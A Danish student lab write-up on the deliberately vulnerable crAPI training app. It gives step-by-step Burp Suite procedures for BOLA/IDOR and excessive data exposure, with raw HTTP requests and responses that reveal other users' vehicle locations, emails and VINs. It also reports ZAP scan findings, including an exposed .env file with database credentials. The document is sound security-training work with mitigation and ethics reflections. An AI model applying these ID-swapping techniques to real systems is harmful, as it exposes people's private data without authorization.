Skip to content

Øvelse 8 – BOLA & Excessive Data Exposure

BOLA (Broken Object Level Authorization)

Også kendt som IDOR (Insecure Direct Object Reference)

Fremgangsmåde

  1. Opret to brugere, bruger a og bruger b.
  2. Login og tilføj hver brugers køretøj via kode og stelnummer.
  3. Åben burpsuite.
  4. I burpsuite browser: log ind som bruger a og gå til dashboard.
  5. Tænd intercept i burpsuite og tryk på "Refresh Location" knappen i crAPI dashboard.
  6. Tjek http request og kopier bilens ID: "d415bb92-b05c-488f-919c-d20920cbe5ce".
  7. Log ud og log ind som bruger b. Gå igen til dashboard.
  8. Tænd intercept igen og tryk på "Refresh Location" knappen i crAPI dashboard.
  9. Flyt intercepted request til repeater i burpsuite og sluk for intercept.
  10. I burpsuite reapeter, erstat bilens id med det fra brugers a' bil: "d415bb92-b05c-488f-919c-d20920cbe5ce"
  11. Send request igen. Noter at svaret er 200 (OK), og vi kan se lokation og data for bruger a' bil selvom vi er logget ind som bruger b. BOLA (Broken Object Level Authorization) / IDOR (Insecure Direct Object Reference) er altså bevist.

Excessive Data Exposure

På /forum siden sender API'en mere data end hvad der vises på siden.

Fremgangsmåde

  1. Start burpsuite browseren.
  2. Log ind på crAPI som bruger a.
  3. Gå til /forum. Findes under Community (3 prikker i nav bar).
  4. I burpsuite kan den ekstra data nu ses i HTTP response for "GET /community/api/v2/community/posts/recent?limit=30&offset=0 "
  5. Der ses blandt andet: id'er, email-adresser, vehicleid'er.
  6. Disse kan f.eks. bruges til BOLA og evt password cracking, da man nu kender email adresser.

Rå HTTP response

HTTP/1.1 200 OK
Server: openresty/1.25.3.1
Date: Sun, 06 Sep 2026 21:16:41 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *
Content-Length: 1007

{
  "posts":[
    {
      "id":"edCT3zmRfiwXDJMAYmsYsK",
      "title":"Title 3",
      "content":"Hello world 3",
      "author":{
        "nickname":"Robot",
        "email":"robot001@example.com",
        "vehicleid":"4bae9968-ec7f-4de3-a3a0-ba1b2ab5e5e5",
        "profile_pic_url":"",
        "created_at":"2026-09-04T13:18:31.504Z"
      },
      "comments":[
      ],
      "authorid":3,
      "CreatedAt":"2026-09-04T13:18:31.504Z"
    },
    {
      "id":"CaqTxvrpaPWChuEjJBAeeD",
      "title":"Title 2",
      "content":"Hello world 2",
      "author":{
        "nickname":"Pogba",
        "email":"pogba006@example.com",
        "vehicleid":"cd515c12-0fc1-48ae-8b61-9230b70a845b",
        "profile_pic_url":"",
        "created_at":"2026-09-04T13:18:31.503Z"
      },
      "comments":[
      ],
      "authorid":2,
      "CreatedAt":"2026-09-04T13:18:31.503Z"
    },
    {
      "id":"qmJDtsNfHzjwik7jyRRhNE",
      "title":"Title 1",
      "content":"Hello world 1",
      "author":{
        "nickname":"Adam",
        "email":"adam007@example.com",
        "vehicleid":"f89b5f21-7829-45cb-a650-299a61090378",
        "profile_pic_url":"",
        "created_at":"2026-09-04T13:18:31.489Z"
      },
      "comments":[
      ],
      "authorid":1,
      "CreatedAt":"2026-09-04T13:18:31.489Z"
    }
  ],
  "next_offset":null,
  "previous_offset":null,
  "total":3
}

Brug af data fra Excessive data exposure til BOLA

Brug både Excessice data exposure og BOLA til at tilgå data uautoriseret.

Fremgangsmåde

  1. Log ind som bruger a.
  2. Følg Excessive data exposure eksempel for at finde ID på et køretøj.
  3. Følg BOLA eksempel fra step 7.
  4. Brug id på køretøj fra Excessive data exposure eksempel istedet for det fra de tidligere step 1-6 i BOLA eksempel.

Rå HTTP response

HTTP/1.1 200 
Server: openresty/1.25.3.1
Date: Sun, 06 Sep 2026 21:44:24 GMT
Content-Type: application/json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Length: 173

{
  "carId":"4bae9968-ec7f-4de3-a3a0-ba1b2ab5e5e5",
  "vehicleLocation":{
    "id":3,
    "latitude":"37.746880",
    "longitude":"-84.301460"
  },
  "fullName":"Robot",
  "email":"robot001@example.com"
}

Explore OWASP Application Security Verification Standard

  • Which section(s) cover Authorization?

V8 (Authorization), V10 (OAuth and OIDC)

  • Are BOLA/IDOR vulnerabilities mentioned directly?

Yes, under V8.2.2 og V8.2.3

  • Can requirement 14.2.6 be related to the EDE vulnerability?

Ja, da api responses indeholder sensitive informationer som alligevel ikke vises på siden. For eksempel: email og køretøj id

  • What testing strategies for authorization does ASVS refferer?

OWASP Web Security Testing Guide

A/B testing, hvor man opretter to brugere og tjekker om man kan tilgå den anden brugers data.

Access Other Users’ Mechanic Reports

Tilgå andre personers data (BOLA) via mechanic report ID.

Fremgangsmåde

  1. Via crAPI dashboard tryk på "Contact Mechanic"
  2. Opret en sag og tjek HTTP historien i burpsuite.
  3. I en response til request sendt til: "/workshop/api/merchant/contact_mechanic" bliver der refereret til følgende api endpoint: "/workshop/api/mechanic/mechanic_report?report_id=9"
  4. Ved besøg af dette endpoint i browseren beder den om en JWT token.
  5. Opret en ny HTTP request til dette endpoint i burpsuit ved at genbruge en anden HTTP get request. For eksempel kan man sende GET request for dashboardet til repeater og ændre endpoint adressen.
  6. Den nye request skulle gerne få en 200 response med data fra mekaniker rapporten.
  7. Ved at ændre "id=9" i adressen til andre id'er kan man også se data for andre brugeres rapporter. Dataen indeholder blandt andet: email, stelnummer og telefonnummer.

Rå HTTP Request

GET /workshop/api/mechanic/mechanic_report?report_id= HTTP/1.1
Host: lab.greisen:8443
Sec-Ch-Ua-Platform: "Linux"
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0QG1haWwuZGsiLCJpYXQiOjE3ODg3MjkyMTcsImV4cCI6MTc4OTMzNDAxNywicm9sZSI6InVzZXIifQ.nw_irI-MEwkMk2FOpK6XTWoLyJzrLP9bOcrisd_vJhZyuYHMNeUhYde0CKGMmArDUv1_YROgJ6ayv6jM4mf723xzZvl_Od4fu4bRM7RV3NpMpA_kn53pqSp5nxjBWp_cRxxbzdzRLjWTlk7AhNGGNTVNoY2bZOTnJyRLrtRt2Na8YfBk4gIvYkhUO-oVrEjbPXcjaCFKKrQS7Q10lytOvRdA5CxjvxZ5EU2EGQ8whzh8-HHxMwTcgZR6dLS72M14OgtGxN5W45-sXi28U1vnZhHqxjQHX7whaYlIHiV4BqBIN8mw5fl-V1RKelosm5Xdy5MF4a-h8dsJvNXyT83oyg
Accept-Language: da-DK,da;q=0.9
Sec-Ch-Ua: "Not;A=Brand";v="8", "Chromium";v="150"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://lab.greisen:8443/dashboard
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

Rå HTTP Response

HTTP/1.1 200 OK
Server: openresty/1.25.3.1
Date: Sun, 06 Sep 2026 22:28:26 GMT
Content-Type: application/json
Connection: keep-alive
Allow: GET, HEAD, OPTIONS
Vary: origin, Cookie
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Content-Length: 437

{
  "id":2,
  "mechanic":{
    "id":1,
    "mechanic_code":"TRAC_JHN",
    "user":{
      "email":"jhon@example.com",
      "number":""
    }
  },
  "vehicle":{
    "id":5,
    "vin":"6NBBY70FWUM324316",
    "owner":{
      "email":"admin@example.com",
      "number":"9010203040"
    }
  },
  "problem_details":"My car Audi - RS7 is having issues.\nCan you give me a call on my mobile 9010203040,\nOr send me an email at admin@example.com\nThanks,\nAdmin.\n",
  "status":"pending",
  "created_on":"04 September, 2026, 13:18:53"
}

Reflektion

  1. What did you discover, and why did it work? Reflect on the vulnerability’s nature and the conditions that allowed exploitation.

Jeg fandt huller i systemet ved at udnytte dårlig adgangskontroller og for meget data som blev returneret fra api'en.

Det virkede fordi at serveren ikke tjekker om den som beder om data nu også skal have adgang til at se dem. Samtidigt sender den også for meget data med ved helt almindelige request som f.eks. at vise for meget bruger data for forum opslag.

  1. How might this vulnerability appear in real-world systems? Consider where similar flaws might exist in production environments.

Hvis en udvikler glemmer/overser at man bør tjekke hvilken bruger der tilgår et endpoint som returnerer data, og hvilke data de skal kunne få adgang til, så kan dette ske på samme måde i virkeligheden.

Og i forhold til for meget data som sendes retur. Så kan en udvikler let overse at det ikke er smart at sende for meget information tilbage. F.eks. kunne de ved en fejl sende hele objekter ud som så indeholder sensitive informationer.

  1. How could you mitigate this? Think about technical fixes, secure design patterns, and where to find guidance — such as the OWASP ASVS.

Tjek via JWT om en bruger skal have adgang til den data de beder om fra API'en. F.eks. om en mekaniker rapport nu også tilhører brugeren.

I forhold til for meget data, så kunne man bruge data transger objects (DTO) for hvert endpoint som kun indeholder de data som systemet skal bruge. Altså man laver specifikke datatyper.

  1. How would you communicate this issue to a developer or stakeholder? Practice explaining the risk, impact, and urgency in clear, actionable language.

Jeg ville egentlig nok vise dem hvordan man kunne tilgå andres data. F.eks. ville de nok ikke synes om hvis man kunne finde deres køretøjs lokation uden at de ved det.

Herefter ville man f.eks. kunne sige følgende: "Hvis vores kunder skal føle sig trygge ved det her system, så kræver det at deres informationer holdes hemmeligt. Hvis en potentiel fjendtlig aktør får adgang, kunne man risikere at køretøjers lokationer kunne udnyttes til røveri eller overvågning. Hvis dette data derefter slipper ud vil vi miste troværdigheden overfor vores kunder, og forretningen kan derfor lide et stort tab."

Etisk reflektion

  • In what ways could testing like this cause unintended harm if done on live systems? (For example, by abusing a user account)

Man kunne få adgang til rigtige sensitive data som man ikke bør kigge i. Man kunne også risikere at ramme en tilfældig fejl i systemet som potentielt kunne lægge systemet ned.

  • What safeguards must be in place when conducting such tests professionally?

Man skal have accept og en aftale med ejeren af systemet. Og f.eks. aftale om man skal køre tests på specifikke tidspunkter, kun bruge og teste specifikke konti og om man evt skal bruge et test miljø.

  • How can you ensure you have proper authorization before attempting such tests?

Man kan lave et SOW (Statement of Work) dokument: 

- Formål: Hvad er målet med testen? (fx at identificere sårbarheder i en webapplikation).

- Scope: Hvilke systemer, IP-adresser, domæner eller applikationer må testes?

- Out of Scope: Hvad må ikke testes?

- Testmetode: Fx baseret på OWASP Web Security Testing Guide, PTES eller NIST.

- Tidsplan: Hvornår udføres testen, og hvor længe varer den?

- Leverancer: Hvad får kunden? (fx rapport, executive summary, tekniske fund og anbefalinger).

- Ansvar: Hvem er kontaktpersoner hos kunden og leverandøren? Hvad gør man ved kritiske fund?

- Forudsætninger: Fx at kunden ejer systemerne eller har bemyndigelse til at lade dem teste.

Scanning med OWASP ZAP Proxy

Automatisk scanning

Ved automatisk scanning fandet den .env filen ved "/.env". Denne indeholder meget sensitive oplysninger omkring systemet.

DB_NAME=crapi
DB_USER=crapi
DB_PASSWORD=crapi
DB_HOST=postgresdb
DB_PORT=5432
SERVER_PORT=8080
MONGO_DB_HOST=mongodb
MONGO_DB_PORT=27017
MONGO_DB_USER=crapi
MONGO_DB_PASSWORD=crapi
MONGO_DB_NAME=crapi

Authenticated scanning

Der kan køre en scanning med bruger oplsyninger for at tilgå sider som kun er tilgængelig efter log ind.

  1. Start en manuel scanning og log ind.
  2. Højre klik på siden i ZAP og tilfæje siden til en ny context.
  3. Gå ind under godkendelses algoritmer.
  4. Sæt den til Form-bases Authentication.
  5. Tryk "Selct" og vælg login end point. ZAP skulle gerne selv finde og udfylde login detaljer.
  6. "Configue Authentication Verification" blev sat til Auto-Detect
  7. Gå til Users og opret brugeren.
  8. Gå til Session Management go set den til "Cookie-base Session Management".
  9. Højreklik på din URL under Sites -> Attack -> Active Scan.
  10. I vinduet, der popper op, klikker du på Show Advanced Options.
  11. Under User vælger du den bruger, du lige har oprettet (hvis den står på Set User, skifter du den).
  12. Klik på Start Scan.

Funde sårbarheder

Fra scanningen blev der blandt andet fundet: - SQL Injection

GET https://10.20.0.20:8443/workshop/api/shop/orders/all?limit=32-2&offset=0

  • Remote File Inclusion

    POST https://10.20.0.20:8443/workshop/api/merchant/contact_mechanic

En rapport over alle funde sårbarheder kan findes her.